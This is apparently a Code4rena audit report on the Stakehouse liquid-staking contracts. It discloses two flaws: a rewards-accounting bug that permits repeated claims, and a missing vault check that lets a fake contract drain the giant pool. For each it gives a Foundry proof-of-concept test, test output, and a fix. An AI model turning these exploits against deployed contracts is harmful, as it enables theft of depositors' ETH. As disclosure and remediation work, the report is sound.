LSD Network - Stakehouse contest - c7e7eff's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L63 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/StakingFundsVault.sol#L88

Vulnerability details

Impact

The SyndicateRewardsProcessor's internal _distributeETHRewardsToUserForToken() function is called from external claimRewards() function in the StakingFundsVault contract. This function is called by LP Token holders to claim their accumulated rewards based on their LP Token holdings and already claimed rewards. The accumulated rewards due are calculated as ((accumulatedETHPerLPShare * balance) / PRECISION) reduced by the previous claimed amount stored in claimed[_user][_token]. When the ETH is sent to the _user the stored value should be increased by the due amount. However in the current code base the claimed[_user][_token] is set equal to the calculated due.

function _distributeETHRewardsToUserForToken(
        address _user,
        address _token,
        uint256 _balance,
        address _recipient
    ) internal {
        require(_recipient != address(0), "Zero address");
        uint256 balance = _balance;
        if (balance > 0) {
            // Calculate how much ETH rewards the address is owed / due 
            uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
            if (due > 0) {
                claimed[_user][_token] = due;
                totalClaimed += due;
                (bool success, ) = _recipient.call{value: due}("");
				...
			}
        }
    }

This means the first time a user will claim their rewards they will get the correct amount and the correct value will be stored in the claimed[_user][_token]. When extra ETH is recieved from the MEV and fees rewards and the user claims their reward again, the claimed amount will only reflect the last claimed amount. As a result they can then repeatedly claim untill the MEV and Fee vault is almost depleted.

Proof of Concept

Following modification to the existing StakingFundsVault.t.sol will provide a test to demonstrate the issue:

diff --git a/test/foundry/StakingFundsVault.t.sol b/test/foundry/StakingFundsVault.t.sol
index 53b4ce0..4db8fc8 100644
--- a/test/foundry/StakingFundsVault.t.sol
+++ b/test/foundry/StakingFundsVault.t.sol
@@ -4,6 +4,7 @@ import "forge-std/console.sol";
 
 import { StakingFundsVault } from "../../contracts/liquid-staking/StakingFundsVault.sol";
 import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";
+import { SyndicateRewardsProcessor} from "../../contracts/liquid-staking/SyndicateRewardsProcessor.sol";
 import {
     TestUtils,
     MockLSDNFactory,
@@ -417,4 +418,73 @@ contract StakingFundsVaultTest is TestUtils {
         assertEq(vault.totalClaimed(), rewardsAmount);
         assertEq(vault.totalRewardsReceived(), rewardsAmount);
     }
+
+    function testRepetitiveClaim() public {
+        // register BLS key with the network
+        registerSingleBLSPubKey(accountTwo, blsPubKeyFour, accountFive);
+
+        vm.label(accountOne, "accountOne");
+        vm.label(accountTwo, "accountTwo");
+        // Do a deposit of 4 ETH for bls pub key four in the fees and mev pool
+        depositETH(accountTwo, maxStakingAmountPerValidator / 2, getUint256ArrayFromValues(maxStakingAmountPerValidator / 2), getBytesArrayFromBytes(blsPubKeyFour));
+        depositETH(accountOne, maxStakingAmountPerValidator / 2, getUint256ArrayFromValues(maxStakingAmountPerValidator / 2), getBytesArrayFromBytes(blsPubKeyFour));
+
+        // Do a deposit of 24 ETH for savETH pool
+        liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(blsPubKeyFour, 24 ether);
+
+        stakeAndMintDerivativesSingleKey(blsPubKeyFour);
+
+        LPToken lpTokenBLSPubKeyFour = vault.lpTokenForKnot(blsPubKeyFour);
+
+        vm.warp(block.timestamp + 3 hours);
+
+        // Deal ETH to the staking funds vault
+        uint256 rewardsAmount = 1.2 ether;
+        console.log("depositing %s wei into the vault.\n", rewardsAmount);
+        vm.deal(address(vault), rewardsAmount);
+        assertEq(address(vault).balance, rewardsAmount);
+        assertEq(vault.previewAccumulatedETH(accountOne, vault.lpTokenForKnot(blsPubKeyFour)), rewardsAmount / 2);
+        assertEq(vault.previewAccumulatedETH(accountTwo, vault.lpTokenForKnot(blsPubKeyFour)), rewardsAmount / 2);
+
+        logAccounts();
+
+        console.log("Claiming rewards for accountOne.\n");
+        vm.prank(accountOne);
+        vault.claimRewards(accountOne, getBytesArrayFromBytes(blsPubKeyFour));
+        logAccounts();
+
+        console.log("depositing %s wei into the vault.\n", rewardsAmount);
+        vm.deal(address(vault), address(vault).balance + rewardsAmount);
+        vm.warp(block.timestamp + 3 hours);
+        logAccounts();
+
+        console.log("Claiming rewards for accountOne.\n");
+        vm.prank(accountOne);
+        vault.claimRewards(accountOne, getBytesArrayFromBytes(blsPubKeyFour));
+        logAccounts();
+
+        console.log("Claiming rewards for accountOne AGAIN.\n");
+        vm.prank(accountOne);
+        vault.claimRewards(accountOne, getBytesArrayFromBytes(blsPubKeyFour));
+        logAccounts();
+
+        console.log("Claiming rewards for accountOne AGAIN.\n");
+        vm.prank(accountOne);
+        vault.claimRewards(accountOne, getBytesArrayFromBytes(blsPubKeyFour));
+        logAccounts();
+
+        //console.log("Claiming rewards for accountTwo.\n");
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+
+    }
+
+    function logAccounts() internal {
+        console.log("accountOne previewAccumulatedETH : %i", vault.previewAccumulatedETH(accountOne, vault.lpTokenForKnot(blsPubKeyFour)));
+        console.log("accountOne claimed               : %i", SyndicateRewardsProcessor(vault).claimed(accountOne, address(vault.lpTokenForKnot(blsPubKeyFour))));
+        console.log("accountTwo previewAccumulatedETH : %i", vault.previewAccumulatedETH(accountTwo, vault.lpTokenForKnot(blsPubKeyFour)));
+        console.log("accountTwo claimed               : %i", SyndicateRewardsProcessor(vault).claimed(accountTwo, address(vault.lpTokenForKnot(blsPubKeyFour))));
+        console.log("ETH Balances: accountOne: %i, accountTwo: %i, vault: %i\n", accountOne.balance, accountTwo.balance, address(vault).balance);
+    }
+
 }

Note that the AccountOne repeatedly claims until the vault is empty and the claim for accountTwo fails.

Following is an output of the test script showing the balances and differnet state variables:

forge test -vv --match testRepetitiveClaim
[⠑] Compiling...
No files changed, compilation skipped

Running 1 test for test/foundry/StakingFundsVault.t.sol:StakingFundsVaultTest
[FAIL. Reason: Failed to transfer] testRepetitiveClaim() (gas: 3602403)
Logs:
  depositing 1200000000000000000 wei into the vault.

  accountOne previewAccumulatedETH : 600000000000000000
  accountOne claimed               : 0
  accountTwo previewAccumulatedETH : 600000000000000000
  accountTwo claimed               : 0
  ETH Balances: accountOne: 0, accountTwo: 0, vault: 1200000000000000000

  Claiming rewards for accountOne.

  accountOne previewAccumulatedETH : 0
  accountOne claimed               : 600000000000000000
  accountTwo previewAccumulatedETH : 600000000000000000
  accountTwo claimed               : 0
  ETH Balances: accountOne: 600000000000000000, accountTwo: 0, vault: 600000000000000000

  depositing 1200000000000000000 wei into the vault.

  accountOne previewAccumulatedETH : 600000000000000000
  accountOne claimed               : 600000000000000000
  accountTwo previewAccumulatedETH : 1200000000000000000
  accountTwo claimed               : 0
  ETH Balances: accountOne: 600000000000000000, accountTwo: 0, vault: 1800000000000000000

  Claiming rewards for accountOne.

  accountOne previewAccumulatedETH : 600000000000000000
  accountOne claimed               : 600000000000000000
  accountTwo previewAccumulatedETH : 1200000000000000000
  accountTwo claimed               : 0
  ETH Balances: accountOne: 1200000000000000000, accountTwo: 0, vault: 1200000000000000000

  Claiming rewards for accountOne AGAIN.

  accountOne previewAccumulatedETH : 600000000000000000
  accountOne claimed               : 600000000000000000
  accountTwo previewAccumulatedETH : 1200000000000000000
  accountTwo claimed               : 0
  ETH Balances: accountOne: 1800000000000000000, accountTwo: 0, vault: 600000000000000000

  Claiming rewards for accountOne AGAIN.

  accountOne previewAccumulatedETH : 600000000000000000
  accountOne claimed               : 600000000000000000
  accountTwo previewAccumulatedETH : 1200000000000000000
  accountTwo claimed               : 0
  ETH Balances: accountOne: 2400000000000000000, accountTwo: 0, vault: 0


Test result: FAILED. 0 passed; 1 failed; finished in 15.64ms

Failing tests:
Encountered 1 failing test in test/foundry/StakingFundsVault.t.sol:StakingFundsVaultTest
[FAIL. Reason: Failed to transfer] testRepetitiveClaim() (gas: 3602403)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Manual review / forge test

Recommended Mitigation Steps

The SyndicateRewardsProcessor contract should be modified as follows:

diff --git a/contracts/liquid-staking/SyndicateRewardsProcessor.sol b/contracts/liquid-staking/SyndicateRewardsProcessor.sol
index 81be706..9b9c502 100644
--- a/contracts/liquid-staking/SyndicateRewardsProcessor.sol
+++ b/contracts/liquid-staking/SyndicateRewardsProcessor.sol
@@ -60,7 +60,7 @@ abstract contract SyndicateRewardsProcessor {
             // Calculate how much ETH rewards the address is owed / due 
             uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
             if (due > 0) {
-                claimed[_user][_token] = due;
+                claimed[_user][_token] += due;
 
                 totalClaimed += due;
 

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L50 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L44

Vulnerability details

Impact

In the GiantSavETHVaultPool contract the batchDepositETHForStaking() is public and the only check on the _savETHVaults input is to see whether the address returned from the liquidStakingManager() function on the supplied _savETHVaults is a staking manager contract deployed by the LSDNFactory.

contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
	function batchDepositETHForStaking(
		address[] calldata _savETHVaults,
		uint256[] calldata _ETHTransactionAmounts,
		bytes[][] calldata _blsPublicKeys,
		uint256[][] calldata _stakeAmounts
	) public {
		...
		require(
		liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
		"Invalid liquid staking manager");
		...
	}
}

Any contract can implement a payable liquidStakingManager() function which returns the address of a LiquidStakingManager instance deployed by the factory.
This means anyone can call the batchDepositETHForStaking() and provide this contract as input for _savETHVaults to drain all ETH out of the giant pool.

This issue is also present in the GiantMevAndFeesPool contract.

Proof of Concept

Following is a Foundry test contract which implements a liquidStakingManager() returning the required address and a payable batchDepositETHForStaking() to accept the ETH. Note that the amount of ETH is not limited to 24, it can drain the complete balance of the giant pool in one call.

diff --git a/test/foundry/GiantPools.t.sol b/test/foundry/GiantPools.t.sol
index 7e8bfdb..71dadbc 100644
--- a/test/foundry/GiantPools.t.sol
+++ b/test/foundry/GiantPools.t.sol
@@ -12,6 +12,7 @@ import { MockSlotRegistry } from "../../contracts/testing/stakehouse/MockSlotReg
 import { MockSavETHVault } from "../../contracts/testing/liquid-staking/MockSavETHVault.sol";
 import { MockGiantSavETHVaultPool } from "../../contracts/testing/liquid-staking/MockGiantSavETHVaultPool.sol";
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import { SavETHVault } from "../../contracts/liquid-staking/SavETHVault.sol";
 
 contract GiantPoolTests is TestUtils {
 
@@ -116,4 +117,50 @@ contract GiantPoolTests is TestUtils {
         assertEq(dETHToken.balanceOf(savETHUser), 24 ether);
     }
 
+    function liquidStakingManager() public view returns (address){
+        //pretending to be an ETHVault, just by returning the address of an existing LiquidStakingManager contract
+        return address(manager);
+    }
+
+    function batchDepositETHForStaking(bytes[] calldata , uint256[] calldata ) external payable {
+        //just needs to exist and be payable to accept the ETH.
+    }
+
+    function testStealEthFromGiantPool() public {
+        // Set up users and ETH
+        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
+        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
+        address savETHUser = accountThree; vm.deal(savETHUser, 1000 ether);
+
+        // Register BLS key
+        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);
+
+        // Deposit ETH into giant savETH
+        vm.prank(savETHUser);
+        giantSavETHPool.depositETH{value: 1000 ether}(1000 ether);
+        assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 1000 ether);
+        assertEq(address(giantSavETHPool).balance, 1000 ether);
+
+        // Deploy ETH from giant LP into savETH pool of LSDN instance
+        bytes[][] memory blsKeysForVaults = new bytes[][](1);
+        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);
+
+        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(1000 ether);
+
+        uint attackerBalanceBefore = address(this).balance;
+        console.log("address(giantSavETHPool).balance: %s, this.balance difference: %s, manager.savEthVault().balance: %s.", address(giantSavETHPool).balance, address(this).balance - attackerBalanceBefore,address(manager.savETHVault()).balance);
+        //steal the eth from the giant pool 
+        giantSavETHPool.batchDepositETHForStaking(
+            getAddressArrayFromValues(address(this)),
+            getUint256ArrayFromValues(1000 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+        console.log("address(giantSavETHPool).balance: %s, this.balance difference: %s, manager.savEthVault().balance: %s.", address(giantSavETHPool).balance, address(this).balance - attackerBalanceBefore,address(manager.savETHVault()).balance);
+        //we should have 1000 ether more now
+        assertEq(address(this).balance - attackerBalanceBefore, 1000 ether);
+        //and the sevEthVault should still have no ETH
+        assertEq(address(manager.savETHVault()).balance, 0 ether);  
+    }
 }

Tools Used

Manual review, forge test.

Recommended Mitigation Steps

The minimal change to block this issue is to add the following require which does a reverse lookup in the LiquidStakingManager.

 contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
             SavETHVault savETHPool = SavETHVault(_savETHVaults[i]);
+            LiquidStakingManager reportedStakingManager = LiquidStakingManager(payable(address(savETHPool.liquidStakingManager())));
+            require(savETHPool == reportedStakingManager.savETHVault(), "SavETHPool not deployed by the LSDN Factory");
             require(
                liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())), //@audit a fake saveETHPool can return any address in the liquidStalingManager() call
                "Invalid liquid staking manager"
            );

This verifies if the provided SavETHVault corresponds to the one reported by the LiquidStakingManager. The existing require then verifies that the LiquidStakingManagerused for this require is actually deployed by the LSDN Factory.

However a more in depth change where the factory maintains this info would be a more robust defense.